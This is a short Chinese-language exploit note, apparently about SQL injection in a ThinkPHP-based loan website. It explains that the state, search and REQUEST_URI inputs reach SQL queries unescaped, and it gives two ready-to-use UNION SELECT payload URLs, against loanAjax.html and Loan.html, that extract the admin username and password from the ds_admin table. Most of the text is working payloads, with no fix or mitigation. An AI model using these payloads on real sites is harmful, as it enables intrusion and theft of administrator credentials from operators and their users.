当存在 state type classify scope 时。且state不为1即可直接拼接sql。
exp:

Win/Index/loanAjax.html?type=1&state=0) UNION SELECT 1,2,3,(select concat(username,0x5c,password) from ds_admin limit 1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%23&classify=1&scope=1

$this->_get('search') 接收search参数，然而tp这样接收参数只会对双引号编码，他是单引号包裹的。注入产生、

Loan.html?search=%27%29+UNION+SELECT+1%2C2%2C3%2C%28select+concat%28username%2C0x5c%2Cpassword%29+from+ds_admin+limit+1%29%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%23

$_SERVER['REQUEST_URI'] 直接获取的，那么直接就注入了- -
